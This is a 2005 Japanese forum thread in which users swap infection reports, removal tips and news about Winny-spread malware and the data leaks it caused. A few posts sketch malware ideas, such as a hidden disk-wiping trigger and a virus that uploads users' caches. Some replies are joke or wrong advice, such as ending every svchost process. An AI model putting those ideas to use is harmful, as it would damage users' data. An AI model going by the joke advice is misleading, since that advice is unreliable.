492 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：2005/05/23(月) 04:36:50 ID:n30iSqG00
>>491
随分偉いんだねえ。
それともあれか、キミはこの間の検体送付断られた派遣ﾌﾟか何かかね

494 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：2005/05/23(月) 05:13:23 ID:n30iSqG00
>>493
('A`)?
他のｽﾚにはこのIDで散々書いてるんだが
それともあれか
ID代えるなんつー洒落た事を考え付くのはキミが491だからかね　ﾌﾟ

ウイルス作者降臨？

通報屋に噛みつく暇があったら早く苺の新作を作ってくれ
軽量版な
後ここじゃなく一般掲示板に投げるような

490 名前：通報屋 ◆Y39/vakKjY [sage] 投稿日：2005/05/23(月) 03:27:59 ID:bAN90rqZ0
>>489
検体送りすぎた。
１２ファイルは流石にやりすぎだったorz

492 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：2005/05/23(月) 04:36:50 ID:n30iSqG00
>>491
随分偉いんだねえ。
それともあれか、キミはこの間の検体送付断られた派遣ﾌﾟか何かかね

494 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：2005/05/23(月) 05:13:23 ID:n30iSqG00
>>493
('A`)?
他のｽﾚにはこのIDで散々書いてるんだが
それともあれか
ID代えるなんつー洒落た事を考え付くのはキミが491だからかね　ﾌﾟ

497 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：2005/05/23(月) 11:53:02 ID:+y6L6jea0
ウイルス作者降臨？

通報屋に噛みつく暇があったら早く苺の新作を作ってくれ
軽量版な
後ここじゃなく一般掲示板に投げるような

通報屋がｼｺｼｺ検体送らなきゃ誰も送らないだろうに

Autorun含んだファイルにやられた　orz
この際OS再インスコするか･･･

>>500
インスコしたらレジストリ触ってAutoRun切っておけよ。

>通報屋がｼｺｼｺ検体送らなきゃ誰も送らないだろうに
俺は送ってるぞ。eTrustに。

激しくﾐﾆﾏﾑな悪寒

うはw
俺も自作自演の仲間にされてるwww

HDD初期化ウィルスﾏﾀﾞｧ-? （･∀･ ）っ/凵⌒☆ﾁﾝﾁﾝ

(´-`).｡oO(･･･HDDｱﾎﾞｿはﾆｭｲﾙｽじゃないと何度言えば)

誰か気づかれずにひたすらｎｙとshareのキャッシュをうｐしまくるウイルス作ってくれないかなー

それは普通に迷惑なﾆｭｲﾙｽではないか？ｗ
本人よりもうｐられる側がｗ
それは真だとは限らないんだぞ？ｗ

スラッシュドット ジャパン | そうま農協職員、Winnyで個人情報流出か？
http://slashdot.jp/articles/05/05/23/0956236.shtml?topic=92

>>505
何年も前からあるわい

nyのフォルダの中にあるＢｂｓというフォルダは症状ですか？

>>506
当初はニュイルスとして機能し、HDDアボンが時限発動するようにしておけばよいのでは？
（nyの削除を検知して次の再起動時にHDDフォーマットとか）
これなら、「トロイ踏んでも即nyを削除したら平気なんですよね？」というアフォな質問も減るな

WORM_AGOBOT.AUVはどうやって駆除すりゃいいんでしょうか？
atapidrv.exeってファイルを作ってソレを作動させると発動みたいな感じだと思うんですが、ググッても日本語のサイトが出てきません。

このスレって結構、低年齢な奴多い？
見ててさ、かなりのPCの知識ある奴多くてみんな成人以上に見えるが
実際、えらく低そうな感じがする。中学とか。

禿同。特に>>514なんてそのものだよな。

このスレを閲覧してる人たちって結構、低年齢層なのかな？
このスレを見ててさ、かなりの人は、PCの知識ある奴が多くて、みんな成人以上に思えるんだが
実際には、えらく年齢が低そうな感じがする。中学生とか高校生だと思います。

ほらな。

わざわざｐ2使って自演乙

ほらな。こんな間抜けな意味不明文章書いても、さっそく釣られるだろ？

ほらな。

洞穴

>>37
映画館は日曜日になると、人であふれていた。トイレには白い陶器の
タン壷が置かれていた。上映終了の頃には、結構タンがたまっていた。
それを、人目を避けて飲む大人がいた。
べっとりとした濃い青緑色の痰や、膿のような黄色身を帯びた痰、真紅
の鮮血が混じった痰、、、タン壷を両手で掴んで、ラッパ飲みするので
ある。ジュルジュル、ジュルジュル、ジュルジュルとすすってゴクンゴ
クンと飲むのである。新鮮な痰は、ある不治の病の妙薬であった。

ネタがないとここまで落ちるものなんだなぁ…
あらかた手法は出尽くしたのかね？

元也先生、MP3を作ろう！のダブルクリックがダフツレクリｼクに見えるよ、元也先生

Nyのポート使うやつかUPnPのやつまだー？

>>525
どうだろうね
http://tmp5.2ch.net/test/read.cgi/download/1116744003/87

>>511

ファイルを落とさない、もしくは、落としたファイルを実行しないでも
winny起動してるだけでウィルスやスパイウェアに感染するってマジですか？

スレ違いですが・・・


【使用OS】2000pro
【WindowsUpdateしてるか】 してる
【使用AntiVirusソフト】 ノートンインターネットセキュリティ2003
【AntiVirusをUpdateしてるか】してる
【Winnyのﾊﾞｰｼﾞｮﾝ】Share　A82
【Winny歴、総DL量】 ３週間　10G位
【テンプレを読んだか】 読んだ
【テンプレにある対策を実行したか】 自分なりに実行
【症状、具体的に分かる限りすべて書く】デスクトップ上のショートカットがすべて削除された。
その他の症状は、不明・・・
【何をしたらそんなことになったのか】
(シングル)(2005.05.25) ORANGE RANGE(オレンジレンジ) - ラヴ・パレード (192kbps).zip.mp3
を解凍して出てきたフォルダ偽装EXEを開いちゃいました
【これまでにとった措置】
ウイルススキャンしたがウイルス検出されませんでした。

ageるなｳﾞｫｹ

>>528
ポート開いてるからねぇ。相手がnyパケットに偽装して入り込んでくれば
アプリレベルのf/wだと分からんわな。ポート番号もすぐ分かるし。
それでもキャッシュにたまるだけなので、感染はしても症状発現はしないものだが。

>>529
ﾉｰﾄﾝの定義更新は原則的に手動じゃないと意味ないｽ
しかも亜種には対応していません
間違いなく感染していると思われますからhttp://blog.livedoor.jp/antiny_virus/
へ行ってﾁｪｯｸﾂｰﾙを実行しる

【Winnyのﾊﾞｰｼﾞｮﾝ】Share　A82
【Winnyのﾊﾞｰｼﾞｮﾝ】Share　A82
【Winnyのﾊﾞｰｼﾞｮﾝ】Share　A82

529です。
スレ違いすんません。

>>532
ありがとうございます

とりあえず感染していない様子です。

ポートは定期的に変えたほうがいいんだね

CドライブのDocuments and Settingsに「あｌｆ」ってフォルダがあるんだが
これってディフォであるもの？

>>536
それはないと思うぞw

>537
マジ？
なんだこれ？NTUSER.DATってファイルが入ってるんだが

あ？
そりゃあんたのログイン名と違うか？

このスレって結構、低年齢な奴多い？
見ててさ、かなりのPCの知識ある奴多くてみんな成人以上に見えるが
実際、えらく低そうな感じがする。中学とか。

>>540
引き篭もりのスーパーハカーが多いような気もする

>539
いやログイン名ではないです。ウイルスとかではないんですかね？

>>542
うるせえよ、ここはニュイルススレなんだよ。
ウィルススレ行って聞け。

>543
あーそうか。スマンね。

>>540
間違ってたらごめん。もしかしてあなたは…。

>>545
釣り禁止。

またお前か。帰っていいよ。。(^o^)ﾉｼ

exeの起動の可否を制御してればウイルス対策ソフトなんて必要ねぇよ。
Ｋｅｒｉｏがあれば充分でし。

>>548
たとえばアプリやらゲームやらが必要ならば、インストするにしても起動するだけにしろ
exeは使わにゃならん

もっとも、P2P系寄りニュイルスは雑誌等に何故か寄っているようだが・・
しかもフォルダに偽装て。そればっかか

昔は、ゲームのインストーラ画面を変更して、全然違うのを入れさせる
ってのがあったよな。

>>548

>exeの起動の可否を制御してればウイルス対策ソフトなんて必要ねぇよ。
それもアンチウイルスの仕事なんですが・・・

WinRAR使うのが、まぁいろんな意味でオトクだろう
・圧縮流通がデフォで、現状流れているほぼ全ての拡張子に対応している
・アイコン偽装だろうとexeは一目瞭然
・解凍前に中身を見ることによって、解凍前にハズレ、不必要と判断できることもある

>>551
すげーな。
同じ画面を模倣してウイルスインストさせる、なら　わりかし簡単に出来そうだけれども

>>529
shareじゃなくってnyのそのファイル名見たらantinny系が多重で入ったよ(´･ω･`)
音楽とかのライトユーザーはその手のニュースも見ないのかな

＞WinRAR使うのが、まぁいろんな意味でオトクだろう
（ ´,_ゝ｀）ﾌﾟｯ

な・なんだってー

"ファイルを暗号化して「人質」に--PCユーザーをねらう新手の攻撃"
http://japan.cnet.com/news/sec/story/0,2000050480,20083839,00.htm?ref=rss

その手があったか！

>>557
送金口座のログ解析で、あっさり身元が割れるんでないの？

そこで手渡しですよ

でもwinny使ってるってばれたら終わりだから警察いけないじゃんｗｗｗ

「新しいverのnyに接続されてます。」
という警告が時々出るのだが、これってウィルスでも流し込まれてるの？

>>561
既に手遅れです

>>561
なんでも質問スレできいてこい

>>561
PCを水道水でよく洗った方がいいよ。

>>558
HDDリカバリ屋が、消去ニュイルスを流すというのは…
昔もあったよな、ワクチン屋が新種を撒くとか

>560
ほー、nyは使うだけでタイーフォですか。ほー。

スマン。
質問スレのテンプレにのってた。

まいったなあ。127.0.0.1でマシンの中のぞけるみたいなんですけど・・・

誰か漏れのマシン覗いてる人いる?

>>529
バイナリをナナメにみたところ新種の山田っぽい。
書き込む板は減ってる。(´･ω･)ｶﾜｲｿｽという表記アリ

hosts書き換え先は朝コム。
必要ならバイナリメールか暗号化付圧縮あぷろだでパスメールします＞通報屋さん

うわ、誤爆w

スレ違いスマソ。ｶﾜｲｿｽ

>>568
お前のJドライブに炉利ﾊｹｰﾝ

>>568
山田スレへ行けば歓迎してくれるよ

569ですが既知だった。先生はいつものBackdoor.Trojan。バスター：mellpon.L。
ただ、インストーラ(初回特典.exe)は無反応(´･ω･`)先生は反応

分離svchost.exeの対応はこんな感じ＠VirusTotal

AntiVir 6.30.0.12 05.25.2005 Heuristic/Trojan.FWKiller
Avira 6.30.0.12 05.25.2005 Heuristic/Trojan.FWKiller
ClamAV devel-20050501 05.24.2005 no virus found
eTrust-Iris 7.1.194.0 05.25.2005 Win32/IIJ.143360!Trojan
Kaspersky 4.0.2.24 05.25.2005 Backdoor.Win32.Mellpon.d
McAfee 4498 05.24.2005 Uploader-X
NOD32v2 1.1107 05.24.2005 probably unknown NewHeur_PE virus
Sybari 7.5.1314 05.25.2005 Uploader-X
Symantec 8.0 05.24.2005 Backdoor.Trojan

>>571
残念だけどJドライブ（´・ω・）ないｽ

面白がって出歯亀してたけど、漏れも全然セキュリティ初心者だから
他人ごとじゃないｽ

でもパス入れて見えたのがWindowsXPのマニュアル画面。全然分からん。
Skype入れたくらいしか変わったことしてないんだけどな。

これを気にもっと勉強してきます。

プライバシーの漏洩は想定の範囲（´・ω・）っｽ（強がり）

>>574
（´・ω・）ｶﾜｲｿｽ ｺﾝﾄﾞｶﾗｷｦﾂｹﾙｽ

（´・ω・）ｶﾜｲｿｽ

先生かバスターのオンラインスキャンで、既知のウイルスなら発見できます？

奇知をてらった質問だが
機知に富んだウイルスなら
危地にある貴地のマシンでも
キチキチ云わずに見つかることであろう…

次の方どうぞ

貴社の記者が汽車で帰社した

坊主が屏風に上手に坊主の絵を描いた

キシャアアアアアアアアアアアアアーッ！！！

system32の中にsvchost.exeがあったけど削除したほうがいい？

消せない場合はマイコンピュータプロパティのシステムの復元をオフにして
セーフモード起動して消す。

>>583
間に合わなかったかさようなら。
>>584
ｫｨｫｨ

解決しますた。

結論から言うとウィルスじゃなかったっｽ

久しぶりにマインスイーパがやりたくなってWindowsコンポーネントの変更したときに、
酔っ払ってたせいか一緒にIISを入れてたっｽ。人騒がせもいいとこｽ・・・・orz

Skypeで話しかけてきた中国の人疑って激しくｽﾏｿ

ひとつおりこうになったｽ（でも元が馬鹿すぎて話にならんorz）

キンタマウィルスに感染しても、Port0設定にすればアップロード

されないんでしょうか？　どなたか教えてください。

>>587
そういう問題じゃないような気がするが。
アップロードされるとかされないを心配するより先にウィルス駆除だろうが
それともあれか。
アップロードさえされなければウィルス飼ってても構わない覚悟なのかな

>>585
>>584の内容はまだしてないけどしちゃだめってことですか？

ウイルスバスターオンラインスキャンではなにもでてきませんでした

じゃあ　そのままでいいんでは

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
にIMJPMlG8.1っていうのがあったんですけどこれも大丈夫ですか？

天麩羅嫁

>>591
初心者スレじゃない

ここは超級者スレだ！(ﾟДﾟ)

>>529
今日の早朝に拾えたのでComputerAssociates社に送りつけてみた。

Researcher comment:
Trojan.. Deletes file from C:\WINDOWS\system32 & C:\WINDOWS

eTrustは次回のシグネチャ更新で検出可能になるはず。

ザ　バラード　ラブ＆ビーズ　３２０Ｋ　がウィルスなのですが
削除できません。ノートンを使っても別のファイルがつかっています。と言う
エラーが出ます。どのようにして削除したら良いでしょうか？
マジレス希望で・

OS再インスコ

セーフモードかDOS起動で。

セーフモードでも削除できませんでした・・・・・・・・・・・・

>>599
XP？どのセーフモード？

ＸＰのセーフモードです。

絶対ﾊﾟｽをﾒﾓって、XPのｲﾝｽｺﾃﾞｨｽｸいれて再起動
復旧ｳｨｻﾞｰﾄﾞからdelで消すじゃあかんのか？

　　（　＾ω＾）　…
　　（⊃⊂）

　⊂（＾ω＾）⊃　セフセフ!!!
　　ミ⊃⊂彡

⊂（＾ω＾）⊃　　ｱｳｱｳ!!!
　ミ（⊃　）
　／　　　ヽ

529です
>>554アリガトウデス
>>595お疲れ様です

とりあえず、自分なりに色々調べて見ましたが
結局の所、感染しているのかどうかもわからんかったです。orz
ファイルは、まだ手元にあるからどこかに提出しようかなぁ・・・

>>599
このへんを試してみれ。
ttp://www.forest.impress.co.jp/article/2005/05/10/unlocker.html
ttp://www.forest.impress.co.jp/article/2005/04/11/saikidougomibako.html

システムの復元の起動で日にちを１日前にずらしたら
ウイルスファイルがなくなったみたいです。
検索かけてヒットなしでした。
自信はありませんが大丈夫でしょうか？
自分アホなので自信ないです。

それとレスしてくださったみなさん本当に感謝です。
今後のためにいかしたいと思います。

>>553
一目瞭然てなんか特別な表示でもされるんか？

Lhaplusで解凍できんのがたまにあるから
乗り換えようかとは思うんだが

アーカイブ展開前に中身が確認できるってことでそ。
二重拡張子やスペースいっぱい拡張子でも、事前にわかるし。

どうも。
今落としてみたけど、ファイル一覧が出て、ファイル内にアイコン埋まってても
デフォのexeアイコンで表示されるみたいっぽいですな

最初、RAR解凍というのはWinRAR専用だと思っていた
何故かそのおかげで助かっていた

>>583
ぉぃぉぃってのは盲目的にsvchostを消してはいけないということだろ。
ゴミ箱に直接ドラッグして消せるならウイルスじゃないのですぐに戻す。
消せない場合は584ということだろ。

キンタマウイルスにかかちゃった者です。
ちなみによくわかんない症状がでてる…。
マイドキュメント内の.jpg.がプレビューできなくなってる。
.xls、.docに至っては、めるぽって書き換えられてるんだけど。

間違えた。めるぽじゃなくてぬるぽだった。ごめんなさい。

東方厨ｶｴﾚ!!


ｶﾞﾝｶﾞﾚ!!

>>557
これ考えたヤツ頭良いのか悪いのか
口座とか連絡先から足が着くに決まってるじゃん
ただまぁ


あなたはWinnyを使っていたため、やむを得ず
マイドキュメント内のファイルを暗号化させて頂きました
解除のためには下記の講座への5万円の振り込みが必要です

子供銀行　本店　普通口座　1234567

問い合わせ先
AKKS
電話番号：＊＊＊＊＊＊＊＊＊＊＊＊
Eメール：＊＊＊＊＊＊@＊＊＊＊＊＊＊.＊＊＊

JASLAK
電話番号：＊＊＊＊＊＊＊＊＊＊＊＊
Eメール：＊＊＊＊＊＊@＊＊＊＊＊＊＊.＊＊＊


とかだったら強烈な嫌がらせだけどな。
ここまで行くと悪質すぎてニュースになるかもしれん。
まぁ俺には関係ないことだけどな。

ただ消すのと、消さずに暗号化するのと、どっちも同じだろな
連絡先に、それらの機構・団体を晒すってのが、まぁ嫌がらせなんだろけど
キンタマの砲も嫌がらせなのか、自爆なのか…

グロ画像見ても平気なﾔｼってなんなの？
　http://news18.2ch.net/test/read.cgi/news7/1110666273/

>>14のIMPGMIG.exeは小文字のimpgmig.exeも同じく削除した方がよろしいでしょうか

>>618
IじゃなくてLだよ

ttp://headlines.yahoo.co.jp/hl?a=20050527-00000002-imp-sci

バスター・・・。

ｎｙやって感染またはインストールされたようなんですが、

ブラウザのホームページが勝手に書き換えられ、インターネットオプションで変更しても
すぐに戻される。（ココ→http://balabolka.biz/start.html）
時々変なところにアクセスする。
ブラウザに見慣れない英語のツールバーが表示され、消せない。そこをクリックすると
またどこかにアクセスする。

なんていうスパイウェア（ウイルス？）に感染したか分かりますか？

ぐぐれ

いろいろ調べてみた結果、Xupiterの亜種みたいなもんでしょうね
非常に厄介なスパイウェアみたいだが、どうしたらいいのか

OS再インスコ

>>621
普通のアドウェアかなんかだと思うが、何故感染源をnyだと？

取りあえずアドウェアなら下記スレのテンプレ、関連リンクを熟読せよ
http://pc8.2ch.net/test/read.cgi/sec/1115806118/

>>621
アドウェアかかったら、必要なデータをどこかに待避させて素直にOS再インスコした方がいいよ。
あれこれいじってるよりは、時間を無駄にしなくて済む。
そんなのにかかった自分がいけないと思ってあきらめるべし。

漢はいつでも何かにかかってもいいように、PCのバックアップはとっておけｗ

大抵は検出・削除でいいと思われるが

不要レジストリの削除も忘れるな
http://www.geocities.jp/regseeker/index.html

621はCWS感染だろうね。
駆除はちょっと面倒。

詳しくはググって。

アンチソフトに引っかからないウイルスの発見ってどうすればできるんだ

隔離環境で動かしてみて、挙動を観察する
あるいは、中身を覗いて怪しげなコードがないかどうかを見る

入手先が怪しいのだから、すべて疑ってかかるべし

「ウイルスさん、隠れてないで出ておいで」と優しく語り掛ける

>>630
動作中のプロセス確認すりゃ分かる

>>633
サービスで動いているにゅいるすはどうするんだよ

別のプロセスにマッピングされていたら（ｒｙ

っていうか、今までそんな手の込んだウイルスなんてあったか？

自動起動に登録してさっさと終了するのが手っ取り早いからよく使われる

マジでSVCHOST経由で起動されたら、プロセス見るぐらいでは
チェックはできないだろな

コードにしても、暗号化してあれば動かすまで分からない

P2Pを対象にしたウイルスはどれも技術レベルは低めだから簡単なチェックでイケル。
でも、脆弱性の使い方やセンス、アイデアは抜群に良いんだよな。
さすが２ちゃんねらーｗｗ

まぁな

えへ

まかせろ

ｳｨﾙｽ作者、ｳｨﾙｽ新種まだー？

がまんしろ

>>630
ファイルがそれほど大きくなければメモ帳で眺める。

ウィルス作者向けの板ってないの？

もうだめぽで有名な犯罪者隔離板はここです

おい、ウイルスの作者を追い込まねーか？
おまえらならできるだろ、いろいろと。

みんなPCをオフラインで使うようになったら、ウィスル作者は撲滅できるんじゃねえか？

今>>648がいいことを言った

何か、キャッシュがさっきからnyを再起かけたりすると、
毎度のことのように、０！って出てる・・・・。　　orz
こんなウイルスってあったっけ？

■ニュイルス用質問テンプレ
【使用OS】 winXP SP2
【WindowsUpdateしてるか】している
【使用AntiVirusソフト】 ノートン２００５
【AntiVirusをUpdateしてるか】している
【Winnyのﾊﾞｰｼﾞｮﾝ】2.0b7.1
【Winny歴、総DL量】1ヶ月　３０G
【テンプレを読んだか】読んだ
【テンプレにある対策を実行したか】該当なし
【症状、具体的に分かる限りすべて書く】マイクロソフト製品でファイルの場所にＦＴＰロケーション　
　ＦＴＰパスの追加　変更のフォルダが出来ている
【何をしたらそんなことになったのかMicrosoft OfficeXP with Front Page VL化済[認証不要」Ｚｉｐ
ＤＬして　サイズ 475 MB (498,323,456 バイト)
※感染元のファイルの情報もあると良し
【これまでにとった措置】ＬＡＮケーブルを外す　ｗｉｎｎｙ本体の削除

よろしく御願いします

>>651
通報しますた

>>644
どうやって？そんなことできるのか？

>>653
bug.exeだっけか…
メモ帳で眺めると  氏ね  とか書かれたりするな。

新種を発見するのは難しいかも知れないが、ファイルの安全性の判断の一つにはなるかと。

しかし、ネットって人間の裏側が見えまくりで嫌だね。

まるで、現実社会がそうじゃないような言い方ですね。

でもｎｙウイルスはある程度あったほうがいいんじゃねーか？

なんで？
厨房避け？

厨房よけにばら撒くのなら、再起動でHDD全消去にしてもらわないと…
下手に(システムを)いかしておくものだから、質問厨が増えるだけだよなぁ。

山田ウイルスに感染しているか確認する方法
ttp://127.0.0.1/
開けると感染中

>>660
ﾃﾝﾌﾟﾚにある
そもそも山田nyと関係ないだろ

>>657
俺もnyにウイルスがあったほうがいいと思ってるよ
ダウソやnyは「危険なもの」としてくれているほうが都合がいい

日本の場合、nyコップのおかげでny使用者の逮捕は難しくなった。
(著作権法の時効は3年なのでそろそろ・・・)

今後、コンテンツはネットによる配信が主流になるのは間違いない
だが、法の整備や課金システムの構築にはまだまだ時間がかかる
法律に関しては著作権法だけの問題ではない。課金方法によっては、個人や通信内容を特定する
必要があるが、監視社会への反対運動や国民総背番号制の導入などの問題に発展するかもしれない
また、著作権の定義自体が大きく変わる可能性もある(いい加減ミッキーを自由にしてやれよw)

親告罪なので警察はコンテンツホルダーとの連携が必要だ
裁判では万が一にも負けるわけにはいかないのだけど、nyには有名な脱法トリックがある
たとえ逮捕者が有罪となっても、「でも・・・の場合は無罪の可能性がある」なんてことになったら
面倒なことになる。裁判での見通しが立つまではコンテンツホルダーも動きづらい。

>>658
厨よけというよりはむしろ、ny人口の抑制の意味が大きい
公共機関や企業では内部規定で「ny禁止令」が出ているが、このおかけで多くの人がプライベート
でもnyを始めることに抵抗を感じている
そうしたnyに対するネガティブなイメージにより、ny人口は著作権産業が崩壊しない程度に抑えられている

そんなわけで、もうしばらくはウイルス作者が「活躍」するだろう

ダウソだけのnyを作ればいいんだよな………………ﾊｯ!

目に見えない情報やサービスってものの価値に関して、多くの人は
金を払って手に入れようとするだろうか？ という疑問を持ってる。
CDを買う人は、情報の記録された板とジャケットとケースを買っている
のであって、曲に金を払ってると思う人は少ないんじゃないかなァ。と。

nyもパッケージソフトにして、定期的にAC○SとかJAS○ACとかに上納金を
支払わないと使えないようにすれば、この手の患部組織も儲かったのにねぇ。

そういえば47氏の公判の前になると、ニュイルスって増えるんだよな。
しかも、ユーザー個人情報放流系の怪しいやつばかり。
だれが流しているのかなんて、だれにでも想像が付く。
そういえば、次は6/2だっけ？ 何回目なんだろう

仁義なきキンタマについて質問です。
色々なサイトを読んでまずはタスクマネージャーのsvchostのプロセスを切ればいいことがわかりましたが
どのsvchostを切ればいいのかわかりません。自分はWIN２０００を使っているからかどうかわかりませんが、
右にユーザー名が表示されないの困っています。このような場合はどうしたらよいのでしょうか？

どんなサイト見てきたんだよ・・・

いっぱいいっぱいみたいだから
おとなしくクリーンインスコした方が早そう

>>664
そう書いてあったサイトを晒してくれないか？

>>664
全部切ってみればいいと思うよ

>>665
このスレのまとめサイトには載っていました・・・。

あとC:\WINDOWS\system32\drivers\svchost.exeを削除すれば終わりみたいなのですが
削除しようとするとファイルを使用中の可能性がありますといって削除できない状態です。
やはりタスクマネージャーから一回切らないといけないのでしょうか。

>>669
セーフモードで起動

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>671
大丈夫なんじゃない？

心配ならキンタマの活動内容を自分で調べてみたら？

>>671
人間が直後って感じても、PCにとっては十分すぎるほどの時間かも
しれないじゃない。心配なら初期化リカバリすべし、大丈夫だと思
うならそのまま使うべし。その判断はユーザーに委ねられている。

>>672
各種キンタマ調べて、どうやら大丈夫そうだとは思うのですが、
スキャンしても何も見つからないのが逆に不安なんですよね。

>>674
そこまで怖がるんなんら、ｎｙ止めたら？
キンタマの場合、nyを使わなかったら何の脅威も無いんだから。

>>674
そんなに不安ならネットに繋ぐな('A`)

>>674
俺だったら、再インストールする。
まぁ、俺は、ネットワーク専用パソは定番ソフト以外使わないが。

なんでﾆｾってわざわざ書いてるのに踏んだの？

男はわかっていてもいかなきゃならないときがある

普段から備蓄しとけよ

危険なものとはいえ晒されてる人が可愛そすぎます＞＜

キンタマ情報晒してる人って個人情報保護法で取り締まりとかできないものなのでしょうか？

>>678
ニセ「ニセ教祖」だったら彼も踏んでないだろう。

ただの教祖でも踏んでないと思う

つーか、教祖を踏むなんて罰当たりなやつに天罰が下ったんだよ。

http://www.vipper.org/vip21114.jpg.html
こんなアイコンの奴踏んじゃったんだが大丈夫だろうか
_env.exeと_config.exeと2種類見つけた中身は
http://www.vipper.org/vip21115.jpg.htm
こんなの

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

【ＩＴ】国内ファイル交換ソフト、現ユーザーは127万人、9割が未承諾ファイル
http://news18.2ch.net/test/read.cgi/bizplus/1117545254/

ｎｙのフォルダに(null)BbsNoderef.txtというのが２つできてｎｙを起動できなくなりました
これはどのウィルスでしょうか？

Human Immunodeficency Virusだと思うよ

頭が厨房ウイルスにやられた。

つかぐぐれ

ANTINNY系に感染してるとウイルスバスターで
　出てきたから、感染したファイル全部(３っ)消したら
　　キャッシュの中身全部消えてた
　　
　もういいや　あかん　だめだ　終わった　もうどうでもいい　死のうかな

俺も、俺もshareのバージョン上げたらキャッシュが全部消えたことあった。

仕様

>>691
外付けHDDに定期的にバックアップしないのか？

ttp://www.mainichi-msn.co.jp/it/computing/news/20050601k0000e040068000c.html
ＮＴＴドコモ東海：基地局情報ネット流出　ウイルス感染か
ＮＴＴドコモ東海（名古屋市中区）が静岡、愛知、岐阜県内に設置している
携帯電話基地局約８００カ所の所在地や入局方法などをまとめた「社外秘」扱いの資料が、ネット上に流出していることが分かった。
基地局の位置情報はセキュリティーなどを理由に非公開となっており、事態を重視した同社は約８００カ所すべての鍵を付け替えるなど緊急対策を実施した。


ファイル交換ソフト「ウィニー」のウイルス感染が原因とみられ、


個人情報だけでなくこうした防犯上問題のある情報まで漏えいさせるネット上の“無法地帯ぶり”がさらに浮き彫りとなった。

http://www.mainichi-msn.co.jp/it/computing/news/20050601k0000e040068000c.html
2005年06月01日
ＮＴＴドコモ東海：
基地局情報ネット流出　ウイルス感染か
　ＮＴＴドコモ東海（名古屋市中区）が静岡、愛知、岐阜県内に設置している携帯電話基地局約
８００カ所の所在地や入局方法などをまとめた「社外秘」扱いの資料が、ネット上に流出してい
ることが分かった。基地局の位置情報はセキュリティーなどを理由に非公開となっており、事
態を重視した同社は約８００カ所すべての鍵を付け替えるなど緊急対策を実施した。ファイル
交換ソフト「ウィニー」のウイルス感染が原因とみられ、個人情報だけでなくこうした防犯上問
題のある情報まで漏えいさせるネット上の“無法地帯ぶり”がさらに浮き彫りとなった。


ハッシュきぼんぬ

>>696
ニュースサイトで発表しているファイル名では見つからないよ。
隠匿して報道しているね。
てかそれ以上にやばいやつ出回っていると思うのだが…

たしか仁義キンタマだったとおもう。もう消したのでハッシュはワカンネ

無法地帯って・・・　まるでNTTとは無関係な第三者が勝手にnyに流したみたいな書き方だな・・・。

そのうちこういうやばいもんのﾊｯｼｭをﾃｷｽﾄにまとめて流すﾔﾂが現れるだろうなｗ

【ドモコ】 winnyキンタマウイルス感染 【ﾃﾗﾔﾊﾞｽ】 　
http://news19.2ch.net/test/read.cgi/news/1117609611/
ＮＴＴドコモ東海が静岡、愛知、岐阜県内に設置した携帯電話基地局
約８００カ所の所在地や入局方法などをまとめた「社外秘」扱いの資料が、
ネット上に流出していることが分かった。事態を重視した同社はすべての
鍵を付け替えるなど緊急対策を実施した。ファイル交換ソフト「ウィニー」の
ウイルス感染が原因とみられる。

また毎日か！

・旧湯沢市情報漏えいで質問したのは毎日新聞大阪本社社会部記者
・詳細忘れたけど、ニシキオリの保険情報も第一報は毎日新聞

毎日新聞は片端からチェックしているな(w

ハッシュまだぁ！！！

ﾊｯｼｭ ﾁﾝ☆⌒ 凵＼(＼･∀･) まちくたびれたー!!

すでに捏造関連画像が流れてる（ｴﾛｹﾞ系？）ｗ

winnyってウィルスがあるかのようですなぁ

>>703-704
ここでいくら待っても無駄だよ

>>703-704
【ネット】"猛威奮う" 「Ｗｉｎｎｙ」で、ＮＴＴドコモ東海が"社外秘"情報流出
http://news19.2ch.net/test/read.cgi/newsplus/1117606701/

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>709
ん、こないだ先生反応した………サイズ違いか(´･ω･`)
多分山田亜種だ

NTT御用達になったのか
なんか誇らしいね

全ての悪意ある実行ファイルに対応しなければならないってのは
何か間違っていると思うのだが？

新種らしきものを確保した。
感染したと思われる日が2005/5/29になってるしたぶん新種だとおもうんだけどどうかな。


仁義拾ったらその中にnyフォルダも入ってて、UPフォルダに

【晒し挙げ】 shotaのデスクトップ[05-06-01].jpg

ってのが入ってた。　【晒し挙げ】 ってのは初見なんだけど新種？

>>712
それはまぁそうなんだが
理想論でも「検査してOKならシロ」と信じられる程度でなければ何も使えないじゃない

まぁ、漏れは動画と漫画と曲が多いからexe無視で大丈夫だけど
エロゲとかの人は死活問題かもよ

>>713
だいぶ前に見た気がする

>>716
orz

NTTの奴は4月（3月だったかな？）時点で入手できていたのに、対応遅すぎｗ
今更の感が強いな

仁義のドキュメントの大半は3月16日〜20日くらいに流出したもの。

大量の仁義の中から重要なファイルを探し出す仁義ハンターがどっかに晒すなり会社に
通報するなりしないとなかなか問題として認識されないのが現状だよね。

ちなみに本人に通報しても高確率でスルーされる。
今まで20人ほどにメール送ったが返事が来たのは2通のみ。　しかも1通は匿名フリメ使ってきた。
この中にはJAそうまの件も含まれているｗ

そりゃ、流しちゃまずいデータのあるPCでnyやってりゃ
犯罪みたいなもんだからな。本人は否定したいだろよ。
（きずいた時点で同僚にnyをすすめて回ったりしてな）

【Winny】愛知の小学校、児童の名簿や成績表など流出
http://news19.2ch.net/test/read.cgi/news/1117649872/

仁義の作者は今頃勝利の美酒に酔いしれてるかも知れんな。

>>719
匿名フリメは当たり前だろう。

>>723
でもメールのヘッダに本名が入ってたｗ

ﾃﾗﾜﾛｽ、ｲﾐﾈｰ
さすが仁義感染者だ。

個人情報保護法が始まったのが４月で、仁義キンタマが感染拡大し
はじめたのが３月中旬。このタイミングを狙ったのではないのか。
そしてたくさん釣れたと。

でも、まったく知らんやつの個人情報見てもなんもおもろないやろ

>>727
最初はおもろいおもたけど、すぐに秋田。

>>724
(ﾟдﾟ)ﾎﾟｶｰﾝ

個人情報見てもおもろないけど
リアルタイムデスクトップはおもろい時はおもろい。
人間は田代性を持った生き物だからな。

そういや仁義が出回った時落としまくったけどそれ以来放置してるな。消すか

>>686
